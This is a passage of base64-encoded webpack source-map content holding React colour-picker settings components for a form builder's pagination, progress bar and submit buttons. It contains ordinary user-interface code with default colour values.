HRWYWx1ZSh0aGlzLnByb3BzLCBcIiM3Nzc3NzFcIikgfWB9XG5cdFx0XHRcdFx0XHRcdFx0aXNBbHBoYVxuXHRcdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdFx0fVxuXG5cdFx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdCYWNrZ3JvdW5kJyApIH1cblx0XHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9dGltZWxpbmUtZG90LWJhY2tncm91bmQtY3VycmVudGB9XG5cdFx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiMxN0E4RTNcIikgfWB9XG5cdFx0XHRcdFx0XHRcdGlzQWxwaGFcblx0XHRcdFx0XHRcdC8+XG5cblx0XHRcdFx0XHRcdHsgdGhpcy5wcm9wcy5mb3JtRGVzaWduID09PSAnbWF0ZXJpYWwnICYmXG5cdFx0XHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdQYWdlIG51bWJlciBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9dGltZWxpbmUtZG90LWNvbG9yLWN1cnJlbnRgfVxuXHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiNGRkZGRkZcIikgfWB9XG5cdFx0XHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0XHR9XG5cblx0XHRcdFx0XHQ8L1NldHRpbmdzUm93PlxuXG5cdFx0XHRcdDwvQ29udGFpbmVyPlxuXHRcdFx0PC9UYWJzPlxuXHRcdCk7XG5cdH1cbn1cblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9mb3JtL2NvbXBvbmVudHMvYXBwZWFyYW5jZS9jb2xvcnMvcGFnaW5hdGlvbi1zdGVwcy5qcyIsImltcG9ydCBSZWFjdCwgeyBDb21wb25lbnQgfSBmcm9tICdyZWFjdCc7XG5pbXBvcnQgeyB0cmFuc2xhdGUsIGdldFRoZW1lUHJlZml4LCBnZXREZWZhdWx0VmFsdWUgfSBmcm9tICcuLi8uLi8uLi8uLi91dGlscyc7XG5cbmltcG9ydCBDb2xvclBpY2tlciBmcm9tICcuLi8uLi8uLi8uLi9zZXR0aW5ncy9pbnB1dHMvY29sb3ItcGlja2VyJztcblxuZXhwb3J0IGRlZmF1bHQgY2xhc3MgUHJvZ3Jlc3NDb2xvcnMgZXh0ZW5kcyBDb21wb25lbnQge1xuXHRjb25zdHJ1Y3RvciggcHJvcHMgKSB7XG5cdFx0c3VwZXIoIHByb3BzICk7XG5cdH1cblxuXHRyZW5kZXIoKSB7XG5cdFx0cmV0dXJuIChcblx0XHRcdDxSZWFjdC5GcmFnbWVudD5cblxuXHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnTGFiZWwnICkgfVxuXHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXByb2dyZXNzLWxhYmVsYH1cblx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjNzc3NzcxXCIpIH1gfVxuXHRcdFx0XHQvPlxuXG5cdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdQcm9ncmVzcyBiYXIgQkcnICkgfVxuXHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXByb2dyZXNzLWJhY2tncm91bmRgfVxuXHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiNFNkU2RTZcIikgfWB9XG5cdFx0XHRcdFx0aXNBbHBoYVxuXHRcdFx0XHQvPlxuXG5cdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdQcm9ncmVzcyBzdGF0dXMgQkcnICkgfVxuXHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXByb2dyZXNzLWJhY2tncm91bmQtc3RhdHVzYH1cblx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjMTdBOEUzXCIpIH1gfVxuXHRcdFx0XHRcdGlzQWxwaGFcblx0XHRcdFx0Lz5cblxuXHRcdFx0PC9SZWFjdC5GcmFnbWVudD5cblx0XHQpO1xuXHR9XG59XG5cblxuXG4vLyBXRUJQQUNLIEZPT1RFUiAvL1xuLy8gLi9zcmMvZm9ybS9jb21wb25lbnRzL2FwcGVhcmFuY2UvY29sb3JzL3BhZ2luYXRpb24tcHJvZ3Jlc3MuanMiLCJpbXBvcnQgUmVhY3QsIHsgQ29tcG9uZW50IH0gZnJvbSAncmVhY3QnO1xuaW1wb3J0IHsgdHJhbnNsYXRlLCBnZXRUaGVtZVByZWZpeCwgZ2V0RGVmYXVsdFZhbHVlIH0gZnJvbSAnLi4vLi4vLi4vLi4vdXRpbHMnO1xuXG5pbXBvcnQgQ29sb3JQaWNrZXIgZnJvbSAnLi4vLi4vLi4vLi4vc2V0dGluZ3MvaW5wdXRzL2NvbG9yLXBpY2tlcic7XG5pbXBvcnQgVGFicyBmcm9tICcuLi8uLi8uLi8uLi9zZXR0aW5ncy9jb250YWluZXJzL3RhYnMnO1xuaW1wb3J0IENvbnRhaW5lciBmcm9tICcuLi8uLi8uLi8uLi9zZXR0aW5ncy9jb250YWluZXJzL2NvbnRhaW5lcic7XG5cbmV4cG9ydCBkZWZhdWx0IGNsYXNzIEJhY2tDb2xvcnMgZXh0ZW5kcyBDb21wb25lbnQge1xuXHRjb25zdHJ1Y3RvciggcHJvcHMgKSB7XG5cdFx0c3VwZXIoIHByb3BzICk7XG5cdH1cblxuXHRyZW5kZXIoKSB7XG5cdFx0cmV0dXJuIChcblx0XHRcdDxUYWJzXG5cdFx0XHRcdGRlZmF1bHQ9XCJkZWZhdWx0XCJcblx0XHRcdFx0dHlwZT1cInRhYnNcIlxuXHRcdFx0XHRleHRyYUNsYXNzPVwic3VpLXRhYnMtZmx1c2hlZFwiXG5cdFx0XHQ+XG5cdFx0XHRcdDxDb250YWluZXJcblx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0RlZmF1bHQnICkgfVxuXHRcdFx0XHRcdHZhbHVlPVwiZGVmYXVsdFwiXG5cdFx0XHRcdD5cblx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0JhY2tncm91bmQgY29sb3InICkgfVxuXHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9cHJldi1iYWNrZ3JvdW5kLXN0YXRpY2B9XG5cdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjMUFCQ0ExXCIpIH1gfVxuXHRcdFx0XHRcdFx0aXNBbHBoYVxuXHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdMYWJlbCBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1wcmV2LWNvbG9yLXN0YXRpY2B9XG5cdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjRkZGRkZGXCIpIH1gfVxuXHRcdFx0XHRcdC8+XG5cdFx0XHRcdDwvQ29udGFpbmVyPlxuXHRcdFx0XHQ8Q29udGFpbmVyXG5cdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdIb3ZlcicgKSB9XG5cdFx0XHRcdFx0dmFsdWU9XCJob3ZlclwiXG5cdFx0XHRcdD5cblx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0JhY2tncm91bmQgY29sb3InICkgfVxuXHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9cHJldi1iYWNrZ3JvdW5kLWhvdmVyYH1cblx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiMxNTlDODVcIikgfWB9XG5cdFx0XHRcdFx0XHRpc0FscGhhXG5cdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0xhYmVsIGNvbG9yJyApIH1cblx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXByZXYtY29sb3ItaG92ZXJgfVxuXHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiI0ZGRkZGRlwiKSB9YH1cblx0XHRcdFx0XHQvPlxuXHRcdFx0XHQ8L0NvbnRhaW5lcj5cblx0XHRcdFx0PENvbnRhaW5lclxuXHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRm9jdXMnICkgfVxuXHRcdFx0XHRcdHZhbHVlPVwiZm9jdXNcIlxuXHRcdFx0XHQ+XG5cdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdCYWNrZ3JvdW5kIGNvbG9yJyApIH1cblx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXByZXYtYmFja2dyb3VuZC1hY3RpdmVgfVxuXHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiIzE1OUM4NVwiKSB9YH1cblx0XHRcdFx0XHRcdGlzQWxwaGFcblx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnTGFiZWwgY29sb3InICkgfVxuXHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9cHJldi1jb2xvci1hY3RpdmVgfVxuXHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiI0ZGRkZGRlwiKSB9YH1cblx0XHRcdFx0XHQvPlxuXHRcdFx0XHQ8L0NvbnRhaW5lcj5cblx0XHRcdDwvVGFicz5cblx0XHQpO1xuXHR9XG59XG5cblxuXG4vLyBXRUJQQUNLIEZPT1RFUiAvL1xuLy8gLi9zcmMvZm9ybS9jb21wb25lbnRzL2FwcGVhcmFuY2UvY29sb3JzL3BhZ2luYXRpb24tYmFjay5qcyIsImltcG9ydCBSZWFjdCwgeyBDb21wb25lbnQgfSBmcm9tICdyZWFjdCc7XG5pbXBvcnQgeyB0cmFuc2xhdGUsIGdldFRoZW1lUHJlZml4LCBnZXREZWZhdWx0VmFsdWUgfSBmcm9tICcuLi8uLi8uLi8uLi91dGlscyc7XG5cbmltcG9ydCBDb2xvclBpY2tlciBmcm9tICcuLi8uLi8uLi8uLi9zZXR0aW5ncy9pbnB1dHMvY29sb3ItcGlja2VyJztcbmltcG9ydCBUYWJzIGZyb20gJy4uLy4uLy4uLy4uL3NldHRpbmdzL2NvbnRhaW5lcnMvdGFicyc7XG5pbXBvcnQgQ29udGFpbmVyIGZyb20gJy4uLy4uLy4uLy4uL3NldHRpbmdzL2NvbnRhaW5lcnMvY29udGFpbmVyJztcblxuZXhwb3J0IGRlZmF1bHQgY2xhc3MgTmV4dENvbG9ycyBleHRlbmRzIENvbXBvbmVudCB7XG5cdGNvbnN0cnVjdG9yKCBwcm9wcyApIHtcblx0XHRzdXBlciggcHJvcHMgKTtcblx0fVxuXG5cdHJlbmRlcigpIHtcblx0XHRyZXR1cm4gKFxuXHRcdFx0PFRhYnNcblx0XHRcdFx0ZGVmYXVsdD1cImRlZmF1bHRcIlxuXHRcdFx0XHR0eXBlPVwidGFic1wiXG5cdFx0XHRcdGV4dHJhQ2xhc3M9XCJzdWktdGFicy1mbHVzaGVkXCJcblx0XHRcdD5cblx0XHRcdFx0PENvbnRhaW5lclxuXHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRGVmYXVsdCcgKSB9XG5cdFx0XHRcdFx0dmFsdWU9XCJkZWZhdWx0XCJcblx0XHRcdFx0PlxuXHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnQmFja2dyb3VuZCBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1uZXh0LWJhY2tncm91bmQtc3RhdGljYH1cblx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiMxQUJDQTFcIikgfWB9XG5cdFx0XHRcdFx0XHRpc0FscGhhXG5cdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0xhYmVsIGNvbG9yJyApIH1cblx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfW5leHQtY29sb3Itc3RhdGljYH1cblx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiNGRkZGRkZcIikgfWB9XG5cdFx0XHRcdFx0Lz5cblx0XHRcdFx0PC9Db250YWluZXI+XG5cdFx0XHRcdDxDb250YWluZXJcblx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0hvdmVyJyApIH1cblx0XHRcdFx0XHR2YWx1ZT1cImhvdmVyXCJcblx0XHRcdFx0PlxuXHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnQmFja2dyb3VuZCBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1uZXh0LWJhY2tncm91bmQtaG92ZXJgfVxuXHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiIzE1OUM4NVwiKSB9YH1cblx0XHRcdFx0XHRcdGlzQWxwaGFcblx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnTGFiZWwgY29sb3InICkgfVxuXHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9bmV4dC1jb2xvci1ob3ZlcmB9XG5cdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjRkZGRkZGXCIpIH1gfVxuXHRcdFx0XHRcdC8+XG5cdFx0XHRcdDwvQ29udGFpbmVyPlxuXHRcdFx0XHQ8Q29udGFpbmVyXG5cdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdGb2N1cycgKSB9XG5cdFx0XHRcdFx0dmFsdWU9XCJmb2N1c1wiXG5cdFx0XHRcdD5cblx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0JhY2tncm91bmQgY29sb3InICkgfVxuXHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9bmV4dC1iYWNrZ3JvdW5kLWFjdGl2ZWB9XG5cdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjMTU5Qzg1XCIpIH1gfVxuXHRcdFx0XHRcdFx0aXNBbHBoYVxuXHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdMYWJlbCBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1uZXh0LWNvbG9yLWFjdGl2ZWB9XG5cdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjRkZGRkZGXCIpIH1gfVxuXHRcdFx0XHRcdC8+XG5cdFx0XHRcdDwvQ29udGFpbmVyPlxuXHRcdFx0PC9UYWJzPlxuXHRcdCk7XG5cdH1cbn1cblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9mb3JtL2NvbXBvbmVudHMvYXBwZWFyYW5jZS9jb2xvcnMvcGFnaW5hdGlvbi1uZXh0LmpzIiwiaW1wb3J0IFJlYWN0LCB7IENvbXBvbmVudCB9IGZyb20gJ3JlYWN0JztcbmltcG9ydCB7IHRyYW5zbGF0ZSwgZ2V0VGhlbWVQcmVmaXgsIGdldERlZmF1bHRWYWx1ZSB9IGZyb20gJy4uLy4uLy4uLy4uL3V0aWxzJztcblxuaW1wb3J0IENvbG9yUGlja2VyIGZyb20gJy4uLy4uLy4uLy4uL3NldHRpbmdzL2lucHV0cy9jb2xvci1waWNrZXInO1xuaW1wb3J0IFRhYnMgZnJvbSAnLi4vLi4vLi4vLi4vc2V0dGluZ3MvY29udGFpbmVycy90YWJzJztcbmltcG9ydCBDb250YWluZXIgZnJvbSAnLi4vLi4vLi4vLi4vc2V0dGluZ3MvY29udGFpbmVycy9jb250YWluZXInO1xuXG5leHBvcnQgZGVmYXVsdCBjbGFzcyBTdWJtaXRDb2xvcnMgZXh0ZW5kcyBDb21wb25lbnQge1xuXHRjb25zdHJ1Y3RvciggcHJvcHMgKSB7XG5cdFx0c3VwZXIoIHByb3BzICk7XG5cdH1cblxuXHRyZW5kZXIoKSB7XG5cdFx0cmV0dXJuIChcblx0XHRcdDxUYWJzXG5cdFx0XHRcdGRlZmF1bHQ9XCJkZWZhdWx0XCJcblx0XHRcdFx0dHlwZT1cInRhYnNcIlxuXHRcdFx0XHRleHRyYUNsYXNzPVwic3VpLXRhYnMtZmx1c2hlZFwiXG5cdFx0XHQ+XG5cdFx0XHRcdDxDb250YWluZXJcblx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0RlZmF1bHQnICkgfVxuXHRcdFx0XHRcdHZhbHVlPVwiZGVmYXVsdFwiXG5cdFx0XHRcdD5cblx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0JhY2tncm91bmQgY29sb3InICkgfVxuXHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9YnV0dG9uLXN1Ym1pdC1iYWNrZ3JvdW5kLXN0YXRpY2AgfVxuXHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiIzE3QThFM1wiKSB9YH1cblx0XHRcdFx0XHRcdGlzQWxwaGFcblx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnVGV4dCBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1idXR0b24tc3VibWl0LWNvbG9yLXN0YXRpY2B9XG5cdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjRkZGRkZGXCIpIH1gfVxuXHRcdFx0XHRcdC8+XG5cdFx0XHRcdDwvQ29udGFpbmVyPlxuXHRcdFx0XHQ8Q29udGFpbmVyXG5cdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdIb3ZlcicgKSB9XG5cdFx0XHRcdFx0dmFsdWU9XCJob3ZlclwiXG5cdFx0XHRcdD5cblx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0JhY2tncm91bmQgY29sb3InICkgfVxuXHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9YnV0dG9uLXN1Ym1pdC1iYWNrZ3JvdW5kLWhvdmVyYH1cblx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiMwMDhGQ0FcIikgfWB9XG5cdFx0XHRcdFx0XHRpc0FscGhhXG5cdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ1RleHQgY29sb3InICkgfVxuXHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9YnV0dG9uLXN1Ym1pdC1jb2xvci1ob3ZlcmB9XG5cdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjRkZGRkZGXCIpIH1gfVxuXHRcdFx0XHRcdC8+XG5cdFx0XHRcdDwvQ29udGFpbmVyPlxuXHRcdFx0XHQ8Q29udGFpbmVyXG5cdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdGb2N1cycgKSB9XG5cdFx0XHRcdFx0dmFsdWU9XCJmb2N1c1wiXG5cdFx0XHRcdD5cblx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0JhY2tncm91bmQgY29sb3InICkgfVxuXHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9YnV0dG9uLXN1Ym1pdC1iYWNrZ3JvdW5kLWFjdGl2ZWB9XG5cdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjMDA4RkNBXCIpIH1gfVxuXHRcdFx0XHRcdFx0aXNBbHBoYVxuXHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdUZXh0IGNvbG9yJyApIH1cblx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfWJ1dHRvbi1zdWJtaXQtY29sb3ItYWN0aXZlYH1cblx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiNGRkZGRkZcIikgfWB9XG5cdFx0XHRcdFx0Lz5cblx0XHRcdFx0PC9Db250YWluZXI+XG5cdFx0XHQ8L1RhYnM+XG5cdFx0KTtcblx0fVxufVxuXG5cblxuLy8gV0VCUEFDSyBGT09URVIgLy9cbi8vIC4vc3JjL2Zvcm0vY29tcG9uZW50cy9hcHBlYXJhbmNlL2NvbG9ycy9zdWJtaXQuanMiLCJpbXBvcnQgUmVhY3QsIHsgQ29tcG9uZW50IH0gZnJvbSAncmVhY3QnO1xuaW1wb3J0IHsgdHJhbnNsYXRlLCBoYXNGaWVsZFdpdGhBdHRyaWJ1dGUgfSBmcm9tICcuLi8uLi8uLi8uLi91dGlscyc7XG5cbmltcG9ydCBBY2NvcmRpb24gZnJvbSAnLi4vLi4vLi4vLi4vc2V0dGluZ3MvY29udGFpbmVycy9hY2NvcmRpb24nO1xuaW1wb3J0IFNpbmdsZVVwbG9hZFBhbmVsQ29sb3JzIGZyb20gJy4vZmlsZS11cGxvYWQvdXBsb2FkLXBhbmVsLXNpbmdsZSc7XG5pbXBvcnQgTXVsdGlVcGxvYWRQYW5lbENvbG9ycyBmcm9tICcuL2ZpbGUtdXBsb2FkL3VwbG9hZC1wYW5lbC1tdWx0aXBsZSc7XG5pbXBvcnQgTXVsdGlVcGxvYWRGaWxlQ29sb3JzIGZyb20gJy4vZmlsZS11cGxvYWQvdXBsb2FkLWZpbGUtbXVsdGlwbGUnO1xuaW1wb3J0IEZpbGVEZWxldGVCdXR0b25Db2xvcnMgZnJvbSAnLi9maWxlLXVwbG9hZC91cGxvYWQtZmlsZS1kZWxldGUnO1xuXG5leHBvcnQgZGVmYXVsdCBjbGFzcyBVcGxvYWRlZEZpbGVzQ29sb3JzIGV4dGVuZHMgQ29tcG9uZW50IHtcblx0Y29uc3RydWN0b3IoIHByb3BzICkge1xuXHRcdHN1cGVyKCBwcm9wcyApO1xuXHR9XG5cblx0cmVuZGVyKCkge1xuXHRcdGNvbnN0IGhhc1NpbmdsZVVwbG9hZCA9IGhhc0ZpZWxkV2l0aEF0dHJpYnV0ZShcblx0XHRcdHRoaXMucHJvcHMud3JhcHBlcnMsXG5cdFx0XHQndXBsb2FkJyxcblx0XHRcdCdmaWxlLXR5cGUnLFxuXHRcdFx0J3NpbmdsZSdcblx0XHQpIHx8IGhhc0ZpZWxkV2l0aEF0dHJpYnV0ZShcblx0XHRcdHRoaXMucHJvcHMud3JhcHBlcnMsXG5cdFx0XHQncG9zdGRhdGEnLFxuXHRcdFx0J3Bvc3RfaW1hZ2UnLFxuXHRcdFx0J2ZhbHNlJ1xuXHRcdCk7XG5cblx0XHRjb25zdCBoYXNNdWx0aVVwbG9hZCA9IGhhc0ZpZWxkV2l0aEF0dHJpYnV0ZShcblx0XHRcdHRoaXMucHJvcHMud3JhcHBlcnMsXG5cdFx0XHQndXBsb2FkJyxcblx0XHRcdCd